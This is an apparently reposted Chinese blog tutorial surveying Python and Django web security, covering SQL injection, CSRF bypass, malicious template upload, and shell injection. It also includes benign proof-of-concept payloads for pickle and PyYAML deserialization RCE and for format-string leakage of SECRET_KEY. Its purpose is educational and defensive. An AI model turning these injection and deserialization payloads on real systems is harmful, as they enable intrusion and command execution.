当前位置: 首页 > news >正文

【技术分享】python web 安全总结

引言

作者以前学习过php方面的安全知识,机缘巧合的情况下学习了django,在学习的过程中顺便收集总结了一下python安全方面的知识点以及近年来的相关漏洞,如果有需要修正或补充的地方,欢迎各位师傅的指出。

ps:特别感谢c1tas&lucifaer两位师傅的指点。

常见web漏洞在python中的示例。

XSS

python下的xss其原理跟php是一样的,django近年的例子如下:

CVE-2017-12794,此例中通过抛出异常造成xss。

sql injection

一般来说使用django自带的操作数据库api是不会造成sql注入的,如下:

Person.objects.filter(first_name=request.GET.get('user'))

不过django依然支持原生sql语法的使用方法,如下:

 def index(request, *args, **kwargs):
        for e in Person.objects.raw('select * from FIRST_Person '):
            print(e.first_name,e.last_name)
        return render(request, 'home.html')

控制台结果如下:

asd sdf
mapl0 ppp
admin hahaha

如果代码如下:

 def index(request, *args, **kwargs):
        for e in Person.objects.raw('select * from FIRST_Person WHERE first_name = ' + '"' + request.GET.get('user') + '"'):
            print(e.last_name)
        return render(request, 'home.html')

访问http://127.0.0.1:8000/?user=admin后控制台返回hahaha而访问http://127.0.0.1:8000/?user=qqq%22%20or%20%221,控制台直接返回了

sdf
ppp
hahaha

代码/命令执行

除内建的模块,还有os,commands,subprocess,multiprocessing,pty,Cpickle/pickle,PyYAML等模块能代码/命令执行,详细可看下文。

CSRF

django这类的框架自带csrf防护,不过在去年依然爆出csrf漏洞CVE-2016-7401-Django(知道创宇这篇分析很细致),如果django使用了Google Analytics则可能绕过django自带的csrf防护机制。

Django对于CSRF的防护就是判断cookie中的csrftoken和提交的csrfmiddlewaretoken的值是否相等,但是Google Analytics可以通过referer帮我们设置用户的cookie,cookie一般如下:

  utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

其中[HOST]和[PATH]是由Referer确定的,也就是说当

Referer: http://x.com/helloworld

时,cookie如下:

  z=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld

django在当时的版本有cookie解析漏洞,当Cookie.SimpleCookie()解析a=hello]b=world这样的字符串时,就会取得a=hello和b=world,所以当Referer为http://x.com/hello]csrftoken=world,csrftoken就被成功赋值。

详细的代码分析,值得一看。

文件上传

在php环境下如果不限制上传文件后缀会导致getshell,但在django下,如果上传的文件能覆盖类似url.py,__init__.py的文件,攻击者能顺利getshell。参考https://www.secpulse.com/archives/36220.html 。还有django只有在development server的模式下才会修改了文件就立刻重启,否则修改了文件也暂时无法生效。

当然除此之外还有其他方法,例如写cron(前提是有权限),和模板文件。

简单说一下写模板文件的过程:需要在templatetags和templates分别写入一个文件(可能也不叫templatetags,可自行定义),templatetags文件夹内存放自定义标签,上传文件rce.py,代码如下:

  from django import template
    import os
    register = template.Library()
    @register.simple_tag
    def some_function(value):
        shell = os.system('touch mapl0')
        return shell

templates文件夹存放静态html文件,上传文件home.html如下:

 <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
    </head>
    <body>
    {% load rce %}
    {% some_function "%s" as func %}
    <p> command is {{ func }} </p>
    </body>
    </html>

在view里,index会使用这个模板:

 def index(request, *args, **kwargs):
     return render(request, 'home.html')

访问后,就在项目目录生成了mapl0文件。

可见使用限制很大,还需要一定的权限。首先,文件后缀没有限制,其次上传路径没有限制,templatetags目录已知,另外还需要有view使用这个模板。

另外xml和html文件的自由上传依然可以造成xxe和xss。

文件包含

案例

相比之下文件包含比php少得多

重定向

django在2017年爆出了两个重定向漏洞CVE-2017-7233&7234其中的CVE-2017-7233与urlparse有关,漏洞的说明可查看下文。

不安全模块及函数

内建函数

input():

python input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入,在python3.0以后的版本中取消raw_input,并用input代替.

    value = input("hello ")
    print("welcome %s" % (value,))

python2命令行下:

  hello dir()
  welcome ['__builtins__', '__doc__', '__file__', '__name__', '__package__']

python3命令行下:

    hello dir()
    welcome dir()

assert():  assert断言是声明其布尔值必须为真的判定,如果发生异常就说明表达示为假。

    Traceback (most recent call last):
      File "/Users/mapl0/Desktop/资料/sec.py", line 3, in <module>
        assert os.system('touch test')
    AssertionError

报了个错误,但test文件已被建立

代码执行函数

  • eval:计算字符串中的表达式
  • exec:执行字符串中的语句
  • execfile:用来执行一个文件   #python3中已无此函数
    a = "print('eval:hello')"
    b = "print('exec:hello')"
    eval(a)
    exec(b)

python2和python3下结果一样

  • eval:hello
  • exec:hello
  • execfile('temp.bin')#temp.bin内容为print('execfile:hello')

结果:execfile:hello

os模块:

  • os.system
  • os.popen   #和os.system的区别在于popen会把命令的输出作为返回值
  • os.spawn

os.exec家族

commands模块 :

commands.getstatusoutput

subprocess模块 :

  • subprocess.Popen
  • subprocess.call通过子进程进行外壳注入
    from subprocess import call
    unvalidated_input = '/bin/true'#true命令啥都不做,只设置退出码为0
    unvalidated_input += '; cut -d: -f1 /etc/passwd'
    call(unvalidated_input, shell=True)#当shell=true时,shell命令可被当做多句执行。

运行结果

  • nobody
  •  root
  •  ……..

multiprocessing多进程模块 :

    import multiprocessing
    p = multiprocessing.Process(target=print, args=("hello"))#target参数为函数名,args为函数所需参数
    p.start()
    p.join()

运行结果:h e l l o

pty :

只能在linuxmac下使用的伪终端

    import pty
    pty.spawn('ls')

在python23下均可执行命令,其他有安全问题模块及函数

codecs :

codecs作用于各种编码之间的相互转换

 import codecs
    import io
    b = b'x41xF5x42x43xF4'
    print("Correct-String %r") % ((repr(b.decode('utf8', 'replace'))))
    with open('temp.bin', 'wb') as fout:
        fout.write(b)
    with codecs.open('temp.bin', encoding='utf8', errors='replace') as fin:
        print("CODECS-String %r") % (repr(fin.read()))
    with io.open('temp.bin', 'rt', encoding='utf8', errors='replace') as fin:
        print("IO-String %r") % (repr(fin.read()))

当b以二进制方式写入文件后,用codecs在进行读取,如果errors='replace'且编码形式为utf-8时,则对于xF5和xF4这类不能编码的都会被替换为ufffd。

在python2下:

Correct-String "u'A\ufffdBC\ufffd'"
CODECS-String "u'A\ufffdBC'"
IO-String "u'A\ufffdBC\ufffd'"

在Python3下会报错:

print("Correct-String %r") % ((repr(b.decode('utf8', 'replace'))))
TypeError: unsupported operand type(s) for %: 'NoneType' and 'str'

ctypes :

ctypes是一个提供和C语言兼容的数据类型的外部库,当出现x00的空字符就会出现截断

    import ctypes
    buffer = ctypes.create_string_buffer(8)
    buffer.value='abx00c1234'
    print(buffer.value)
    print (buffer.raw)

在python2命令行下:

  •     ab
  •     abc1234

在python3下回报错:

 buffer.value='abx00c1234'
 TypeError: bytes expected instead of str instance

Python Interpreter :

 #!python
    try:
        if 0:
            yield 5
        print("T1-FAIL")
    except Exception as e:
        print("T1-PASS")
        pass
    try:
        if False:
            yield 5
        print("T2-FAIL")
    except Exception as e:
        print(repr(e))
        pass

对于类似if 0: if False: 的写法,python版本的不同,其测试结果也不同

可重用整数 :

    999+1 is 1000 #False
    1+1 is 2 #True

对此的解释是,Python 维护了一个对象连接池,其中保有前几百个整数,重用它们会节约内存和对象的创建。
浮点数比较 :

2.2 * 3.0 == 3.3 * 2.0 #False

由于固有受限精度,以及十进制与二进制小数表示所产生的差异导致的舍入错误。
无穷大 :
python支持无穷大的概念,但在python2下出现了这样的情况

    Type "help", "copyright", "credits" or "license" for more information.
    10**1000000 > float('infinity')
    False
    float > float('infinity')
    True

python3下

     10**1000000 > float('infinity')
    False
     float > float('infinity')
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: unorderable types: type() > float()

builtins :

此模块在python启动后首先加载到内存,此时还没有执行任何程序员写的代码,在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中更名为builtins。

在 Python 2中, 内置对象可以通过魔法 __builtins__ 模块进行访问。

__builtins__.False, __builtins__.True = True, False
    True
    False
    int(True)
    0

false被赋值成true,true被赋值成false

urllib2:

Python 的 urllib 库曾出过一个头注入的漏洞,CVE-2016-5699

如果请求头里出现了%0A则直接换行导致攻击者可以注入额外http头和请求方法,可在ssrf里攻击redis或者memcached。

Python2/Python3较新的版本均在出口处的putheader()函数里添加了一个检验,发现不合法URL会报一个error.

tarfile/ZipFile:

tarfile模块可以读取和写入tar文件,包括使用gzip或bz2压缩的压缩文件。

ZipFile模块提供了创建,读取,写入,附加和列出ZIP文件的函数。

TarFile.extractall使用此函数提取文件时,文件可能创建在其他路径,官方建议不要从不信任的来源提取文件。

ZipFile.extractall也有同样的问题,解压时文件可能创建在其他路径,但在2.7.4版本中,模块会试图阻止这种行为。

urlparse :

CVE-2017-7233 urllib.parse.urlparse的特殊情况曾给django造成一个url跳转漏洞。

django的is_safe_url函数可用于检测url是或否安全,但整合各函数是基于urllib.parse.urlparse的,urlparse在当scheme不等于http,path为纯数字时不能正常分割使得is_safe_url为true,从而达到bypass的目的。

例如 https:1029415385,is_safe_url会直接判断为true。

格式化字符串漏洞:

起因是python的新方法format,示例如下:

    class mapl0:
        user = 'mapl0'
        password = 'hahaha'
        key = '123456'
    print("This is {user.user} {user.password}".format(user = mapl0))

我们可以通过format将mapl0类中的属性输出出来,在这篇[paper](https://paper.seebug.org/175/)中(@phithon)就有类似的情况:

    def view(request, *args, **kwargs):
        user = get_object_or_404(User, pk=request.GET.get('uid'))
        template = 'This is {user}'s email: ' + request.GET.get('email')
        return HttpResponse(template.format(user=user))

由于request.GET.get('email')也就是用户通过get传入的email参数完全可控,我们就能让request.user里的任意属性输出出来,例如{user.password}。

通过debug查看了一下request.user里的内容,其中session_key,目录,secret_key等等敏感信息都能查看,其中SECRET_KEY如果泄露,则可能配合django反序列化漏洞实现rce。

Jinja的沙盒绕过与此同理。顺便一说,在paper还提到的f修饰符很有意思,在python3.6版本会后,被f/F修饰的字符串将会被当做代码执行。

反序列化

Cpickle/pickle 反序列化:

python2 使用cPickle,python3 使用pickle,__reduce__函数会在被反序列化是执行,类似php里的__wakeup,当我们序列化了一个带有__reduce__的类时,将其反序列化即可执行__reduce__里的代码

 import os
    import cPickle
    a = 1
    # Exploit that we want the target to unpickle
    class Exploit(object):
        def __reduce__(self):
            global a
            a = 10
            os.system("pwd")
            return (os.system, ('ls',))
    shellcode = cPickle.dumps(Exploit())#cPickle.dumps序列化操作
    cPickle.loads(shellcode)#cPickle.loads反序列化操作
    print a

pickle用法类似

    import os
    import pickle
    # Exploit that we want the target to unpickle
    class Exploit(object):
        def __reduce__(self):
            return (os.system, ('ls',))
    shellcode = pickle.dumps(Exploit())
    pickle.loads(shellcode)

Django任意代码在django1.6版本前存在任意代码执行漏洞,其漏洞起因就是pickle。

在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化,但还需要知道SECRET_KEY以及目标采用了signed_cookies。

掌阅iReader某站Python漏洞挖掘,通过redis写session从而反序列化getshell。

PyYAML 对象类型解析导致的命令执行问题:

http://blog.knownsec.com/2016/03/pyyaml-tags-parse-to-command-execution/ 

    import yaml
    content = '''---
    !!python/object/apply:subprocess.check_output [[ls]]#subprocess.check_output父进程等待子进程完成 返回子进程向标准输出的输出结果
    ...'''
    print yaml.load(content)

python2下结果

  • 1.py
  • __init__.py
  • __pycache__
  • ……

python3下结果

b'1.pyn__init__.pyn__pycache__n................

shelve:

shelve用处是让对象持久化,但它在序列化与反序列化的过程中使用了pickle模块,因此我们可以利用shelve会调用的pickle在反序列化过程中执行代码。

    import shelve
    import os
    class exp(object):
        def __reduce__(self):
            return (os.system('ls'))
    file = shelve.open("test")
    file['exp'] = exp()
    print(file['exp'])

一些在较新版本被弃用的函数和模块

rexec:

在python2.6后被弃用,相关文档.

bastion:

在python2.6后被弃用,相关文档.

tempfile.mktemp:

此函数自从2.3版本不推荐使用并使用mkstemp()代替,相关[文档](https://docs.python.org/3/library/tempfile.html?highlight=mktemp#tempfile.mktemp)

总结

python安全还远不止上文所述部分,随之python使用者的增多,其安全性必然也会不断地收到挑战,而我们也需要从中不断学习以应对随时袭来的威胁。

参考文章

  • http://python.jobbole.com/82746/ 
  • http://www.freebuf.com/articles/web/73669.html 
  • https://virusdefender.net/index.php/archives/576/ 
  • https://paper.seebug.org/337/ 
  • http://www.freebuf.com/articles/system/89165.html 

转自:https://www.anquanke.com/post/id/87007

相关文章:

  • Django CSRF Bypass 漏洞分析(CVE-2016-7401)
  • Python安全编码与代码审计
  • Cobra-White 白盒源代码审计工具-白帽子版
  • python动态代码审计
  • 【技术分享】关于Python漏洞挖掘那些不得不提的事儿
  • python 代码审计之-命令执行漏洞
  • REST API安全设计指南
  • Restful API设计指南
  • 从Django的SECTET_KEY到代码执行
  • 偷懒必备-不想工作的时候打开网页F11就好
  • 智能合约审计系列————2、权限隐患条件竞争
  • 【全网致谢】————感谢ivy女神赠送的IOS测试机一部
  • burpsuite保存现有数据包记录导入之前的抓包记录
  • 逍遥模拟器配置burpsuite抓包环境
  • 【免杀】————4、Webshell如何bypass安全狗,D盾
  • 「前端早读君006」移动开发必备:那些玩转H5的小技巧
  • 002-读书笔记-JavaScript高级程序设计 在HTML中使用JavaScript
  • Android路由框架AnnoRouter:使用Java接口来定义路由跳转
  • C++类的相互关联
  • ECS应用管理最佳实践
  • gulp 教程
  • Java深入 - 深入理解Java集合
  • SegmentFault 社区上线小程序开发频道,助力小程序开发者生态
  • Sequelize 中文文档 v4 - Getting started - 入门
  • V4L2视频输入框架概述
  • vue脚手架vue-cli
  • 百度贴吧爬虫node+vue baidu_tieba_crawler
  • 初识MongoDB分片
  • 浮现式设计
  • 看图轻松理解数据结构与算法系列(基于数组的栈)
  • 两列自适应布局方案整理
  • 使用 Docker 部署 Spring Boot项目
  • 验证码识别技术——15分钟带你突破各种复杂不定长验证码
  • 你对linux中grep命令知道多少?
  • 函数计算新功能-----支持C#函数
  • 好程序员web前端教程分享CSS不同元素margin的计算 ...
  • ​直流电和交流电有什么区别为什么这个时候又要变成直流电呢?交流转换到直流(整流器)直流变交流(逆变器)​
  • # 深度解析 Socket 与 WebSocket:原理、区别与应用
  • (17)Hive ——MR任务的map与reduce个数由什么决定?
  • (day 12)JavaScript学习笔记(数组3)
  • (分享)自己整理的一些简单awk实用语句
  • (附源码)springboot 智能停车场系统 毕业设计065415
  • (新)网络工程师考点串讲与真题详解
  • (一) springboot详细介绍
  • .net CHARTING图表控件下载地址
  • .NET Framework 4.6.2改进了WPF和安全性
  • .net oracle 连接超时_Mysql连接数据库异常汇总【必收藏】
  • .Net调用Java编写的WebServices返回值为Null的解决方法(SoapUI工具测试有返回值)
  • .net专家(高海东的专栏)
  • .Net转前端开发-启航篇,如何定制博客园主题
  • ::
  • @Service注解让spring找到你的Service bean
  • [ vulhub漏洞复现篇 ] struts2远程代码执行漏洞 S2-005 (CVE-2010-1870)
  • [.net] 如何在mail的加入正文显示图片
  • [AIGC] Nacos:一个简单 yet powerful 的配置中心和服务注册中心